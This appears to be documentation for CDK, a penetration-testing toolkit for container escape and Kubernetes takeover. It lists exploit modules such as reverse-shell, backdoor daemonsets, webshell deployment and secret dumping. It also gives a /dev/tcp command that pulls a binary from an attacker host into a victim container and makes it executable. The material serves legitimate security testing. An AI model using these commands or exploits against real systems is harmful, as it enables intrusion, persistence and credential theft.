CDK Penetration Testing Toolkit
repository·main·Indexed 26 days ago
https://github.com/cdk-team/cdkA zero-dependency penetration testing toolkit designed for containerized environments. CDK enables security researchers to evaluate container weaknesses, execute exploits for container escapes and Kubernetes cluster takeovers, and interact with K8s APIs or Docker sockets without relying on the host OS. It features an evaluation module for information gathering, an exploit module for persistence and lateral movement, and a suite of built-in network and system tools including kcurl, etcl, and probe.
What's inside CDK
- CDK is a zero-dependency container penetration toolkit designed for stable exploitation in slimmed containers without OS dependencies. It provides net-tools, PoCs, and EXPs to assist in container escapes and Kubernetes (K8s) cluster takeover.
Install and Deliver CDK to a target container
mainDownload the latest release from the official GitHub releases page. To use CDK, drop the executable files into the target container.
Delivery via RCE (without curl/wget)
If you have Remote Code Execution (RCE) but the container lacks
curlorwget, you can deliver the binary using/dev/tcp:- On your host machine, listen for the file transfer:
nc -lvp <port> < cdk - Inside the victim container, execute:
cat < /dev/tcp/<your_public_host_ip>/<port> > cdk && chmod a+x cdk
- On your host machine, listen for the file transfer:
Quick Start with CDK
mainTo perform a penetration test, first run the evaluation command to identify weaknesses and recommended exploits, then execute the chosen exploit.
- Evaluate: Run
cdk evaluate --fullto gather information and receive exploit recommendations. - Exploit: Run
cdk run <exploit_name>to execute the identified attack.
- Evaluate: Run
Use the Evaluate Module to gather container information
mainThe
evaluatemodule is used to gather information inside a container to identify potential weaknesses. You can run a standard evaluation or use the--fullflag for a more comprehensive scan.Supported tactics include:
- Information Gathering: OS basic info, available capabilities, Linux commands, mounts, net namespaces, sensitive ENV/processes/local files, and Kube-proxy route localnet (CVE-2020-8558).
- Discovery: K8s API-server info, K8s service-account info, and Cloud Provider Metadata API.
cdk evaluate [--full]Use the Exploit Module to run targeted exploits
mainThe
exploitmodule provides capabilities for container escaping, persistence, and lateral movement.- List all available exploits: Use
cdk run --listto see the available scripts. - Run a specific exploit: Use
cdk run <script-name> [options]to execute a targeted exploit.
Common exploit categories include:
- Escaping:
runc-pwn,shim-pwn,docker-sock-pwn,mount-cgroup, etc. - Discovery:
service-probe,istio-check,k8s-psp-dump. - Remote Control:
reverse-shell,kubelet-exec. - Credential Access:
registry-brute,ak-leakage,k8s-secret-dump. - Persistence:
webshell-deploy,k8s-backdoor-daemonset,k8s-cronjob.
Note on Thin Releases: The thin release is a lightweight version (approx. 2MB) optimized for short-lived container shells like serverless functions. It contains 90% of CDK functions but excludes some exploits to reduce size.
- List all available exploits: Use
Use the Tool Module for network and system utilities
mainThe
toolmodule provides network tools and APIs for TCP/HTTP requests, tunnels, and K8s cluster management. These commands function similarly to standard Linux commands but may have different input arguments.Available tools include:
nc [options]: TCP Tunnelps: Process Informationnetstat: Similar tonetstat -antupifconfig: Network Informationvi: Edit Filesectl: Unauthorized enumeration of etcd keyskcurl: Request to K8s api-serverdcurl: Request to Docker HTTP APIucurl: Request to Docker Unix Socketrcurl: Request to Docker Registry APIprobe: IP/Port Scanning
cdk nc [options] cdk psCDK Built-in Tools Reference
mainCDK includes several specialized tools for container environments:
vi <file>: Edit files within the container.ps: Show process information (similar tops -ef).nc [options]: Create a TCP tunnel.ifconfig: Show network information.kcurl <path> (get|post) <uri> <data>: Make requests to the K8s API server.ectl <endpoint> get <key>: Unauthorized enumeration of etcd keys.ucurl (get|post) <socket> <uri> <data>: Make requests to the Docker unix socket.probe <ip> <port> <parallel> <timeout-ms>: Perform a TCP port scan.
Tool: vi <file> Edit files in container like "vi" command. ps Show process information like "ps -ef" command. nc [options] Create TCP tunnel. ifconfig Show network information. kcurl <path> (get|post) <uri> <data> Make request to K8s api-server. ectl <endpoint> get <key> Unauthorized enumeration of ectd keys. ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket. probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000CDK CLI Command Reference
mainThe CDK CLI provides three primary functional areas:
evaluate,run, and various standalonetools.Core Commands
cdk evaluate [--full]: Gathers information to find container weaknesses. The--fullflag enables file scanning.cdk run (--list | <exploit> [<args>...]):--list: Lists all available exploits.<exploit> [<args>...]: Runs a specific exploit. Refer to the CDK Wiki for specific exploit documentation.
cdk <tool> [<args>...]: Executes built-in penetration testing tools.
Global Options
-h, --help: Show help message.-v, --version: Show version.--profile=<name>: Select an evaluation profile.
Usage: cdk evaluate [--full] cdk run (--list | <exploit> [<args>...]) cdk <tool> [<args>...] Evaluate: cdk evaluate Gather information to find weakness inside container. cdk evaluate --full Enable file scan during information gathering. Exploit: cdk run --list List all available exploits. cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki Options: -h --help Show this help msg. -v --version Show version. --profile=<name> Select evaluation profile.Run CDK exploits
mainExecute specific exploit scripts using therun <exploit>command. You can list all available exploit names using the--listflag.Use the cdk nc (netcat) command
mainThenccommand allows you to run the vendor-provided netcat directly through CDK. Note that it handles-vand-hflags internally.Run CDK evaluation profiles
mainUse theevaluateorevacommands to run security evaluation profiles. You can specify a specific profile using the--profileflag or use the--fullflag to upgrade a basic profile to an extended one.Use CDK built-in tools
mainCDK provides several specialized tools for container penetration testing. Use the syntax
cdk <tool> <args>to invoke them.Available tools:
vi: Runs a vendor-providedvieditor.kcurl: Interface forkubectlAPI.ectl: Interface foretcdctlAPI.ucurl: Interface for Docker daemon API.dcurl: Interface for Docker daemon API.ifconfig: Retrieves local network addresses.ps: Runs process listing.netstat: Runs network statistics.probe: Performs a TCP scan.